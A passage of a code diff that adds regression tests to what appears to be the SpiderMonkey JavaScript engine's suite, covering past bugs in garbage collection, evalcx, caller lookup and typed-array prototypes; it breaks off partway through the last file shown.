+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {
+ if (2 == 0) { } else { []; }
+} catch (e) {}
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-563210.js b/js/src/tests/js1_8_5/regress/regress-563210.js
new file mode 100644
index 000000000..d5ba6b2e7
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-563210.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(Android)
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Gary Kwong and Nicholas Nethercote
+ */
+
+if (typeof gczeal != 'undefined' && typeof gc != 'undefined') {
+ try
+ {
+ try {
+ __defineGetter__("x", gc)
+ } catch (e) {}
+ gczeal(1)
+ print(x)(Array(-8))
+ }
+ catch(ex)
+ {
+ }
+}
+
+// Reset gczeal.
+if (typeof gczeal !== 'undefined')
+ gczeal(0)
+
+reportCompare("no assertion failure", "no assertion failure", "bug 563210");
+
+
diff --git a/js/src/tests/js1_8_5/regress/regress-563221.js b/js/src/tests/js1_8_5/regress/regress-563221.js
new file mode 100644
index 000000000..beb82b499
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-563221.js
@@ -0,0 +1,8 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Jason Orendorff <jorendorff@mozilla.com>
+
+"" + eval("(function () { if (x) ; else if (y) n(); else { " + Array(10000).join("e;") + " } });");
+
+if (this.reportCompare)
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-566549.js b/js/src/tests/js1_8_5/regress/regress-566549.js
new file mode 100644
index 000000000..3c5decd0f
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-566549.js
@@ -0,0 +1,20 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributors: Jesse Ruderman <jruderman@gmail.com>,
+// Gary Kwong <gary@rumblingedge.com>,
+// Jason Orendorff <jorendorff@mozilla.com>
+
+try {
+ evalcx('var p;', []);
+} catch (exc) {}
+
+try {
+ evalcx('');
+ Function("evalcx(\"var p\",[])")();
+} catch (exc) {}
+
+try {
+ evalcx('var p;');
+} catch (exc) {}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-567152.js b/js/src/tests/js1_8_5/regress/regress-567152.js
new file mode 100644
index 000000000..02f7b2401
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-567152.js
@@ -0,0 +1,12 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributors: Gary Kwong <gary@rumblingedge.com>,
+// Jason Orendorff <jorendorff@mozilla.com>
+
+function c(a) {
+ this.f = function () { a; };
+}
+c(0); // set both BRANDED and GENERIC bits in global scope
+Object.defineProperty(this, "f", {configurable: true, enumerable: true, value: 3});
+
+reportCompare(0, 0, "");
diff --git a/js/src/tests/js1_8_5/regress/regress-569306.js b/js/src/tests/js1_8_5/regress/regress-569306.js
new file mode 100644
index 000000000..221782186
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-569306.js
@@ -0,0 +1,10 @@
+function f() {}
+var g = new Function();
+delete Function;
+function h() {}
+
+assertEq(f.__proto__, g.__proto__);
+assertEq(g.__proto__, h.__proto__);
+assertEq(false, "Function" in this);
+
+reportCompare("ok", "ok", "bug 569306");
diff --git a/js/src/tests/js1_8_5/regress/regress-571014.js b/js/src/tests/js1_8_5/regress/regress-571014.js
new file mode 100644
index 000000000..0f8a51c4d
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-571014.js
@@ -0,0 +1,32 @@
+
+var F, o;
+
+F = function () {};
+F.prototype = new ArrayBuffer(1);
+o = new F();
+try {
+ o.byteLength;
+} catch (ex) {
+ // o is not a platform object
+ assertEq(ex instanceof TypeError, true);
+}
+
+o = {};
+o.__proto__ = new Int32Array(1);
+try {
+ o.buffer.byteLength;
+} catch (ex) {
+ // o is not a platform object
+ assertEq(ex instanceof TypeError, true);
+}
+
+F = function () {};
+F.prototype = new Int32Array(1);
+o = new F();
+try {
+ o.slice(0, 1);
+ reportFailure("Expected an exception!");
+} catch (ex) {
+}
+
+reportCompare("ok", "ok", "bug 571014");
diff --git a/js/src/tests/js1_8_5/regress/regress-573875.js b/js/src/tests/js1_8_5/regress/regress-573875.js
new file mode 100644
index 000000000..fcfc00a9e
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-573875.js
@@ -0,0 +1,21 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var o = {__iterator__:null, a:1, b:2, c:3}
+var expect = '__iterator__,a,b,c,';
+var actual = '';
+
+try {
+ for (var i in o)
+ actual += i + ',';
+} catch (e) {
+ actual = '' + e;
+ if (/invalid __iterator__ value/.test(actual) ||
+ /null is not a function/.test(actual)) {
+ expect = actual;
+ }
+}
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-577648-1.js b/js/src/tests/js1_8_5/regress/regress-577648-1.js
new file mode 100644
index 000000000..d40c7b0e4
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-577648-1.js
@@ -0,0 +1,87 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var count = 0;
+
+function testCaller(obj) {
+ switch (++count) {
+ case 1:
+ case 2:
+ /*
+ * The first two times, obj is objA. The first time, we reference
+ * arguments.callee.caller before obj.go, so the caller getter must
+ * force the joined function object in the stack frame to cross the
+ * method read barrier. The second time, obj.go has been cloned and
+ * it should match the new frame's callee from the get-go.
+ */
+ assertEq(obj, objA);
+ break;
+
+ case 3: {
+ assertEq(obj, objB);
+
+ /*
+ * Store another clone of the joined function object before obj.go has
+ * been read, but after it has been invoked via objB.go(objB).
+ *
+ * In this case, arguments.callee.caller must not lie and return what
+ * is currently stored in objB.go, since that function object (objA.go)
+ * was cloned earlier, when count was 1, and it is not the function
+ * object that was truly invoked.
+ *
+ * But since the invocation of objB.go(objB) did not clone go, and the
+ * following assignment overwrote the invoked value, leaving the only
+ * reference to the joined function object for go in the stack frame's
+ * callee (argv[-2]) member, the arguments.callee.caller reference must
+ * clone a function object for the callee, store it as the callee, and
+ * return it here.
+ *
+ * It won't equal obj.go, but (implementation detail) it should have
+ * the same proto as obj.go
+ */
+ obj.go = objA.go;
+
+ let caller = arguments.callee.caller;
+ let obj_go = obj.go;
+ return caller != obj_go && caller.__proto__ == obj_go.__proto__;
+ }
+
+ case 4: {
+ assertEq(obj, objC);
+
+ let save = obj.go;
+ delete obj.go;
+ return arguments.callee.caller == save;
+ }
+
+ case 5: {
+ assertEq(obj, objD);
+
+ let read = obj.go;
+ break;
+ }
+ }
+
+ return arguments.callee.caller == obj.go;
+}
+
+function make() {
+ return {
+ go: function(obj) {
+ return testCaller(obj);
+ }
+ };
+}
+
+var objA = make(),
+ objB = make(),
+ objC = make(),
+ objD = make();
+
+reportCompare(true, objA.go(objA), "1");
+reportCompare(true, objA.go(objA), "2");
+reportCompare(true, objB.go(objB), "3");
+reportCompare(true, objC.go(objC), "4");
+reportCompare(true, objD.go(objD), "5");
diff --git a/js/src/tests/js1_8_5/regress/regress-577648-2.js b/js/src/tests/js1_8_5/regress/regress-577648-2.js
new file mode 100644
index 000000000..d9ba91316
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-577648-2.js
@@ -0,0 +1,12 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+var o = { f: function() { return o.g(); }, g: function() { return arguments.callee.caller; } };
+var c = o.f();
+var i = 'f';
+var d = o[i]();
+
+reportCompare(true, c === o.f && d === o.f(), "");
diff --git a/js/src/tests/js1_8_5/regress/regress-583429.js b/js/src/tests/js1_8_5/regress/regress-583429.js
new file mode 100644
index 000000000..67e1b4195
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-583429.js
@@ -0,0 +1,7 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Andreas Gal <gal@uci.edu>
+
+assertEq(Object.getOwnPropertyNames(Array.prototype).indexOf("length") >= 0, true);
+
+reportCompare("ok", "ok", "bug 583429");
diff --git a/js/src/tests/js1_8_5/regress/regress-584355.js b/js/src/tests/js1_8_5/regress/regress-584355.js
new file mode 100644
index 000000000..4ddfe65d3
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-584355.js
@@ -0,0 +1,7 @@
+var actual;
+var expect = "function f() { ff (); }";
+function fun() {
+ (new Function ("function ff () { actual = '' + ff. caller; } function f () { ff (); } f ();")) ();
+}
+fun();
+reportCompare(expect, actual, "");
diff --git a/js/src/tests/js1_8_5/regress/regress-584648.js b/js/src/tests/js1_8_5/regress/regress-584648.js
new file mode 100644
index 000000000..a1635ea51
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-584648.js
@@ -0,0 +1,16 @@
+// |reftest| skip
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributors: Gary Kwong <gary@rumblingedge.com>
+// Jason Orendorff <jorendorff@mozilla.com>
+
+// on a non-global object
+var x = {};
+x.watch("p", function () { evalcx(''); });
+x.p = 0;
+
+// on the global
+watch("e", (function () { evalcx(''); }));
+e = function () {};
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-585257.js b/js/src/tests/js1_8_5/regress/regress-585257.js
new file mode 100644
index 000000000..7d076af23
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-585257.js
@@ -0,0 +1,7 @@
+// |reftest| skip
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Gary Kwong <gary@rumblingedge.com>
+
+Object.create(evalcx('')).__defineSetter__('toString', function(){});
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-586482-1.js b/js/src/tests/js1_8_5/regress/regress-586482-1.js
new file mode 100644
index 000000000..1cab74a3f
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-586482-1.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var expect = true;
+var actual;
+
+var checkCaller = function(me) {
+ var caller = arguments.callee.caller;
+ var callerIsMethod = (caller === me['doThing']);
+ actual = callerIsMethod;
+};
+
+var MyObj = function() {
+};
+
+MyObj.prototype.doThing = function() {
+ checkCaller(this);
+};
+
+(new MyObj()).doThing();
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-586482-2.js b/js/src/tests/js1_8_5/regress/regress-586482-2.js
new file mode 100644
index 000000000..7eb44d020
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-586482-2.js
@@ -0,0 +1,22 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var expect = true;
+var actual;
+
+var checkCaller = function(me) {
+ var caller = arguments.callee.caller;
+ var callerIsMethod = (caller === me['doThing']);
+ actual = callerIsMethod;
+};
+
+Object.prototype.doThing = function() {
+ checkCaller(this);
+};
+
+["dense"].doThing();
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-586482-3.js b/js/src/tests/js1_8_5/regress/regress-586482-3.js
new file mode 100644
index 000000000..92e9d5c84
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-586482-3.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var expect = true;
+var actual;
+
+var checkCaller = function(me) {
+ var f = me['doThing'];
+ delete MyObj.prototype['doThing'];
+ var caller = arguments.callee.caller;
+ var callerIsMethod = (f === caller);
+ actual = callerIsMethod;
+};
+
+var MyObj = function() {
+};
+
